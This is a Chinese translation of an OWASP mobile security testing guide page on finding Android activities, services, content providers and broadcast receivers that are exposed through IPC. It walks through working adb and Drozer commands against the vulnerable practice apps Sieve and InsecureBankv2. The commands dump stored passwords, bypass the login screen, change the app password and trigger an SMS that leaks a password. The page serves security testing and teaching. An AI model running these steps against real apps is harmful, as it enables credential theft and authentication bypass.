跳过内容

MASTG-TEST-0029: 测试通过 IPC 暴露敏感功能

此测试即将更新

此测试目前可使用,但将作为新的 OWASP MASTG v2 指南 的一部分进行全面修订。

请通过提交 PR 来帮助我们:MASTG v1->v2 MASTG-TEST-0029:通过 IPC 测试敏感功能暴露 (android)

发送反馈

概述

要测试通过 IPC 暴露敏感功能的漏洞,您应首先枚举应用使用的所有 IPC 机制,然后尝试确定在使用这些机制时是否泄露了敏感数据。

静态分析

我们首先查看 AndroidManifest.xml,应用中包含的所有活动、服务和内容提供程序都必须在此处声明(否则系统将无法识别它们,它们也不会运行)。

“导出”的活动、服务或内容可以被其他应用访问。有两种常见的方法可以将组件指定为已导出。显而易见的方法是将 export 标签设置为 true android:exported="true"。第二种方法是在组件元素 (<activity>, <service>, <receiver>) 中定义一个 <intent-filter>。完成此操作后,export 标签将自动设置为 "true"。为了防止所有其他 Android 应用与 IPC 组件元素交互,请确保 android:exported="true" 值和 <intent-filter> 不在其 AndroidManifest.xml 文件中,除非这是必要的。

请记住,使用 permission 标签 (android:permission) 也会限制其他应用对组件的访问。如果您的 IPC 旨在供其他应用访问,您可以使用 <permission> 元素应用安全策略并设置适当的 android:protectionLevel。当在服务声明中使用 android:permission 时,其他应用必须在其自己的清单中声明相应的 <uses-permission> 元素才能启动、停止或绑定到该服务。

有关内容提供程序的更多信息,请参阅“测试数据存储”章节中的测试用例“测试存储的敏感数据是否通过 IPC 机制暴露”。

一旦您确定了 IPC 机制列表,请查看源代码以查看在使用这些机制时是否泄露了敏感数据。例如,内容提供程序可用于访问数据库信息,并且可以探测服务以查看它们是否返回数据。如果探测或嗅探广播接收器,它们可能会泄露敏感信息。

在下面,我们将使用两个示例应用,并提供识别易受攻击的 IPC 组件的示例

活动(Activities)

检查 AndroidManifest

在 "Sieve" 应用中,我们发现了三个导出的活动,由 <activity> 标识

<activity android:excludeFromRecents="true" android:label="@string/app_name" android:launchMode="singleTask" android:name=".MainLoginActivity" android:windowSoftInputMode="adjustResize|stateVisible">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>
<activity android:clearTaskOnLaunch="true" android:excludeFromRecents="true" android:exported="true" android:finishOnTaskLaunch="true" android:label="@string/title_activity_file_select" android:name=".FileSelectActivity" />
<activity android:clearTaskOnLaunch="true" android:excludeFromRecents="true" android:exported="true" android:finishOnTaskLaunch="true" android:label="@string/title_activity_pwlist" android:name=".PWList" />

检查源代码

通过检查 PWList.java 活动,我们看到它提供了列出所有密钥、添加、删除等选项。如果我们直接调用它,我们将能够绕过 LoginActivity。有关此内容的更多信息,请参见下面的动态分析。

服务(Services)

检查 AndroidManifest

在 "Sieve" 应用中,我们发现了两个导出的服务,由 <service> 标识

<service android:exported="true" android:name=".AuthService" android:process=":remote" />
<service android:exported="true" android:name=".CryptoService" android:process=":remote" />

检查源代码

检查 android.app.Service 类的源代码

通过逆向目标应用,我们可以看到服务 AuthService 提供了更改密码和 PIN 保护目标应用的功能。

   public void handleMessage(Message msg) {
            AuthService.this.responseHandler = msg.replyTo;
            Bundle returnBundle = msg.obj;
            int responseCode;
            int returnVal;
            switch (msg.what) {
                ...
                case AuthService.MSG_SET /*6345*/:
                    if (msg.arg1 == AuthService.TYPE_KEY) /*7452*/ {
                        responseCode = 42;
                        if (AuthService.this.setKey(returnBundle.getString("com.mwr.example.sieve.PASSWORD"))) {
                            returnVal = 0;
                        } else {
                            returnVal = 1;
                        }
                    } else if (msg.arg1 == AuthService.TYPE_PIN) {
                        responseCode = 41;
                        if (AuthService.this.setPin(returnBundle.getString("com.mwr.example.sieve.PIN"))) {
                            returnVal = 0;
                        } else {
                            returnVal = 1;
                        }
                    } else {
                        sendUnrecognisedMessage();
                        return;
                    }
           }
   }

广播接收器(Broadcast Receivers)

检查 AndroidManifest

在 "Android Insecure Bank" 应用中,我们在清单中找到一个广播接收器,由 <receiver> 标识

<receiver android:exported="true" android:name="com.android.insecurebankv2.MyBroadCastReceiver">
    <intent-filter>
        <action android:name="theBroadcast" />
    </intent-filter>
</receiver>

检查源代码

在源代码中搜索诸如 sendBroadcastsendOrderedBroadcastsendStickyBroadcast 之类的字符串。确保应用未发送任何敏感数据。

如果 Intent 仅在应用内广播和接收,则可以使用 LocalBroadcastManager 来防止其他应用接收广播消息。这降低了泄露敏感信息的风险。

为了更多地了解接收器的预期功能,我们必须深入静态分析并搜索 android.content.BroadcastReceiver 类和 Context.registerReceiver 方法的使用情况,这些方法用于动态创建接收器。

目标应用的以下源代码片段显示广播接收器触发包含用户解密密码的 SMS 消息的传输。

public class MyBroadCastReceiver extends BroadcastReceiver {
  String usernameBase64ByteString;
  public static final String MYPREFS = "mySharedPreferences";

  @Override
  public void onReceive(Context context, Intent intent) {
    // TODO Auto-generated method stub

        String phn = intent.getStringExtra("phonenumber");
        String newpass = intent.getStringExtra("newpass");

    if (phn != null) {
      try {
                SharedPreferences settings = context.getSharedPreferences(MYPREFS, Context.MODE_WORLD_READABLE);
                final String username = settings.getString("EncryptedUsername", null);
                byte[] usernameBase64Byte = Base64.decode(username, Base64.DEFAULT);
                usernameBase64ByteString = new String(usernameBase64Byte, "UTF-8");
                final String password = settings.getString("superSecurePassword", null);
                CryptoClass crypt = new CryptoClass();
                String decryptedPassword = crypt.aesDeccryptedString(password);
                String textPhoneno = phn.toString();
                String textMessage = "Updated Password from: "+decryptedPassword+" to: "+newpass;
                SmsManager smsManager = SmsManager.getDefault();
                System.out.println("For the changepassword - phonenumber: "+textPhoneno+" password is: "+textMessage);
smsManager.sendTextMessage(textPhoneno, null, textMessage, null, null);
          }
     }
  }
}

BroadcastReceivers 应使用 android:permission 属性;否则,其他应用可以调用它们。您可以使用 Context.sendBroadcast(intent, receiverPermission); 来指定接收器必须具有的权限才能读取广播。您还可以设置一个显式的应用包名称,该名称限制此 Intent 将解析到的组件。如果保留为默认值(null),则将考虑所有应用中的所有组件。如果为非 null,则 Intent 只能匹配给定应用包中的组件。

动态分析

您可以使用 MobSF 枚举 IPC 组件。要列出所有导出的 IPC 组件,请上传 APK 文件,组件集合将显示在以下屏幕中

内容提供程序(Content Providers)

"Sieve" 应用实现了一个易受攻击的内容提供程序。要列出 Sieve 应用导出的内容提供程序,请执行以下命令

$ adb shell dumpsys package com.mwr.example.sieve | grep -Po "Provider{[\w\d\s\./]+}" | sort -u
Provider{34a20d5 com.mwr.example.sieve/.FileBackupProvider}
Provider{64f10ea com.mwr.example.sieve/.DBContentProvider}

确定后,您可以使用 jadx 来逆向工程应用并分析导出的内容提供程序的源代码,以识别潜在的漏洞。

要标识内容提供程序的相应类,请使用以下信息

  • 包名:com.mwr.example.sieve
  • 内容提供程序类名:DBContentProvider

当分析类 com.mwr.example.sieve.DBContentProvider 时,您会看到它包含多个 URI

package com.mwr.example.sieve;
...
public class DBContentProvider extends ContentProvider {
    public static final Uri KEYS_URI = Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Keys");
    public static final Uri PASSWORDS_URI = Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Passwords");
...
}

使用以下命令使用已标识的 URI 调用内容提供程序

$ adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Keys/
Row: 0 Password=1234567890AZERTYUIOPazertyuiop, pin=1234

$ adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords/
Row: 0 _id=1, service=test, username=test, password=BLOB, email=[email protected]
Row: 1 _id=2, service=bank, username=owasp, password=BLOB, email=[email protected]

$ adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection email:username:password --where 'service=\"bank\"'
Row: 0 email=[email protected], username=owasp, password=BLOB

您现在可以检索所有数据库条目(请参阅输出中所有以 "Row:" 开头的行)。

活动(Activities)

要列出应用导出的活动,您可以使用以下命令并专注于 activity 元素

$ aapt d xmltree sieve.apk AndroidManifest.xml
...
E: activity (line=32)
  A: android:label(0x01010001)=@0x7f05000f
  A: android:name(0x01010003)=".FileSelectActivity" (Raw: ".FileSelectActivity")
  A: android:exported(0x01010010)=(type 0x12)0xffffffff
  A: android:finishOnTaskLaunch(0x01010014)=(type 0x12)0xffffffff
  A: android:clearTaskOnLaunch(0x01010015)=(type 0x12)0xffffffff
  A: android:excludeFromRecents(0x01010017)=(type 0x12)0xffffffff
E: activity (line=40)
  A: android:label(0x01010001)=@0x7f050000
  A: android:name(0x01010003)=".MainLoginActivity" (Raw: ".MainLoginActivity")
  A: android:excludeFromRecents(0x01010017)=(type 0x12)0xffffffff
  A: android:launchMode(0x0101001d)=(type 0x10)0x2
  A: android:windowSoftInputMode(0x0101022b)=(type 0x11)0x14
  E: intent-filter (line=46)
    E: action (line=47)
      A: android:name(0x01010003)="android.intent.action.MAIN" (Raw: "android.intent.action.MAIN")
    E: category (line=49)
      A: android:name(0x01010003)="android.intent.category.LAUNCHER" (Raw: "android.intent.category.LAUNCHER")
E: activity (line=52)
  A: android:label(0x01010001)=@0x7f050009
  A: android:name(0x01010003)=".PWList" (Raw: ".PWList")
  A: android:exported(0x01010010)=(type 0x12)0xffffffff
  A: android:finishOnTaskLaunch(0x01010014)=(type 0x12)0xffffffff
  A: android:clearTaskOnLaunch(0x01010015)=(type 0x12)0xffffffff
  A: android:excludeFromRecents(0x01010017)=(type 0x12)0xffffffff
E: activity (line=60)
  A: android:label(0x01010001)=@0x7f05000a
  A: android:name(0x01010003)=".SettingsActivity" (Raw: ".SettingsActivity")
  A: android:finishOnTaskLaunch(0x01010014)=(type 0x12)0xffffffff
  A: android:clearTaskOnLaunch(0x01010015)=(type 0x12)0xffffffff
  A: android:excludeFromRecents(0x01010017)=(type 0x12)0xffffffff
...

您可以使用以下属性之一来标识导出的活动

  • 它有一个 intent-filter 子声明。
  • 它具有属性 android:exported 设置为 0xffffffff

您还可以使用 jadx 来使用上述条件标识 AndroidManifest.xml 文件中导出的活动

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.mwr.example.sieve">
...
  <!-- This activity is exported via the attribute "exported" -->
  <activity android:name=".FileSelectActivity" android:exported="true" />
   <!-- This activity is exported via the "intent-filter" declaration  -->
  <activity android:name=".MainLoginActivity">
    <intent-filter>
      <action android:name="android.intent.action.MAIN"/>
      <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
  </activity>
  <!-- This activity is exported via the attribute "exported" -->
  <activity android:name=".PWList" android:exported="true" />
  <!-- Activities below are not exported -->
  <activity android:name=".SettingsActivity" />
  <activity android:name=".AddEntryActivity"/>
  <activity android:name=".ShortLoginActivity" />
  <activity android:name=".WelcomeActivity" />
  <activity android:name=".PINActivity" />
...
</manifest>

在易受攻击的密码管理器 "Sieve" 中枚举活动表明以下活动已导出

  • .MainLoginActivity
  • .PWList
  • .FileSelectActivity

使用以下命令启动活动

# Start the activity without specifying an action or an category
$ adb shell am start -n com.mwr.example.sieve/.PWList
Starting: Intent { cmp=com.mwr.example.sieve/.PWList }

# Start the activity indicating an action (-a) and an category (-c)
$ adb shell am start -n "com.mwr.example.sieve/.MainLoginActivity" -a android.intent.action.MAIN -c android.intent.category.LAUNCHER
Starting: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=com.mwr.example.sieve/.MainLoginActivity }

由于在本示例中直接调用了活动 .PWList,您可以使用它来绕过保护密码管理器的登录表单,并访问密码管理器中包含的数据。

服务(Services)

可以使用 Drozer 模块 app.service.info 枚举服务

dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.AuthService
    Permission: null
  com.mwr.example.sieve.CryptoService
    Permission: null

要与服务通信,您必须首先使用静态分析来标识所需的输入。

由于此服务已导出,您可以使用模块 app.service.send 与该服务通信并更改存储在目标应用中的密码

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabcd" --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
  what: 4
  arg1: 42
  arg2: 0
  Empty

广播接收器(Broadcast Receivers)

要列出应用导出的广播接收器,您可以使用以下命令并专注于 receiver 元素

$ aapt d xmltree InsecureBankv2.apk AndroidManifest.xml
...
E: receiver (line=88)
  A: android:name(0x01010003)="com.android.insecurebankv2.MyBroadCastReceiver" (Raw: "com.android.insecurebankv2.MyBroadCastReceiver")
  A: android:exported(0x01010010)=(type 0x12)0xffffffff
  E: intent-filter (line=91)
    E: action (line=92)
      A: android:name(0x01010003)="theBroadcast" (Raw: "theBroadcast")
E: receiver (line=119)
  A: android:name(0x01010003)="com.google.android.gms.wallet.EnableWalletOptimizationReceiver" (Raw: "com.google.android.gms.wallet.EnableWalletOptimizationReceiver")
  A: android:exported(0x01010010)=(type 0x12)0x0
  E: intent-filter (line=122)
    E: action (line=123)
      A: android:name(0x01010003)="com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION" (Raw: "com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION")
...

您可以使用以下属性之一来标识导出的广播接收器

  • 它具有一个 intent-filter 子声明。
  • 它具有属性 android:exported 设置为 0xffffffff

您还可以使用 jadx 来使用上述条件标识 AndroidManifest.xml 文件中导出的广播接收器

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.insecurebankv2">
...
  <!-- This broadcast receiver is exported via the attribute "exported" as well as the "intent-filter" declaration -->
  <receiver android:name="com.android.insecurebankv2.MyBroadCastReceiver" android:exported="true">
    <intent-filter>
      <action android:name="theBroadcast"/>
    </intent-filter>
  </receiver>
  <!-- This broadcast receiver is NOT exported because the attribute "exported" is explicitly set to false -->
  <receiver android:name="com.google.android.gms.wallet.EnableWalletOptimizationReceiver" android:exported="false">
    <intent-filter>
      <action android:name="com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION"/>
    </intent-filter>
  </receiver>
...
</manifest>

来自易受攻击的银行应用 InsecureBankv2 的上述示例表明,只有名为 com.android.insecurebankv2.MyBroadCastReceiver 的广播接收器已导出。

现在您知道有一个导出的广播接收器,您可以更深入地研究并使用 jadx 来逆向工程应用。这将使您可以分析源代码,搜索潜在的漏洞,然后您可以尝试利用这些漏洞。导出的广播接收器的源代码如下

package com.android.insecurebankv2;
...
public class MyBroadCastReceiver extends BroadcastReceiver {
    public static final String MYPREFS = "mySharedPreferences";
    String usernameBase64ByteString;

    public void onReceive(Context context, Intent intent) {
        String phn = intent.getStringExtra("phonenumber");
        String newpass = intent.getStringExtra("newpass");
        if (phn != null) {
            try {
                SharedPreferences settings = context.getSharedPreferences("mySharedPreferences", 1);
                this.usernameBase64ByteString = new String(Base64.decode(settings.getString("EncryptedUsername", (String) null), 0), "UTF-8");
                String decryptedPassword = new CryptoClass().aesDeccryptedString(settings.getString("superSecurePassword", (String) null));
                String textPhoneno = phn.toString();
                String textMessage = "Updated Password from: " + decryptedPassword + " to: " + newpass;
                SmsManager smsManager = SmsManager.getDefault();
                System.out.println("For the changepassword - phonenumber: " + textPhoneno + " password is: " + textMessage);
                smsManager.sendTextMessage(textPhoneno, (String) null, textMessage, (PendingIntent) null, (PendingIntent) null);
            } catch (Exception e) {
                e.printStackTrace();
            }
        } else {
            System.out.println("Phone number is null");
        }
    }
}

正如您在源代码中看到的那样,此广播接收器需要两个名为 phonenumbernewpass 的参数。有了这些信息,您现在可以尝试通过使用自定义值向其发送事件来利用此广播接收器

# Send an event with the following properties:
# Action is set to "theBroadcast"
# Parameter "phonenumber" is set to the string "07123456789"
# Parameter "newpass" is set to the string "12345"
$ adb shell am broadcast -a theBroadcast --es phonenumber "07123456789" --es newpass "12345"
Broadcasting: Intent { act=theBroadcast flg=0x400000 (has extras) }
Broadcast completed: result=0

这将生成以下 SMS

Updated Password from: SecretPassword@ to: 12345

嗅探 Intent

如果 Android 应用在没有设置所需权限或指定目标包的情况下广播 Intent,则设备上运行的任何应用都可以监视这些 Intent。

要注册广播接收器以嗅探 Intent,请使用 Drozer 模块 app.broadcast.sniff 并使用 --action 参数指定要监视的操作

dz> run app.broadcast.sniff  --action theBroadcast
[*] Broadcast receiver registered to sniff matching intents
[*] Output is updated once a second. Press Control+C to exit.

Action: theBroadcast
Raw: Intent { act=theBroadcast flg=0x10 (has extras) }
Extra: phonenumber=07123456789 (java.lang.String)
Extra: newpass=12345 (java.lang.String)`

您还可以使用以下命令嗅探 Intent。但是,不会显示传递的 extras 的内容

$ adb shell dumpsys activity broadcasts | grep "theBroadcast"
BroadcastRecord{fc2f46f u0 theBroadcast} to user 0
Intent { act=theBroadcast flg=0x400010 (has extras) }
BroadcastRecord{7d4f24d u0 theBroadcast} to user 0
Intent { act=theBroadcast flg=0x400010 (has extras) }
45: act=theBroadcast flg=0x400010 (has extras)
46: act=theBroadcast flg=0x400010 (has extras)
121: act=theBroadcast flg=0x400010 (has extras)
144: act=theBroadcast flg=0x400010 (has extras)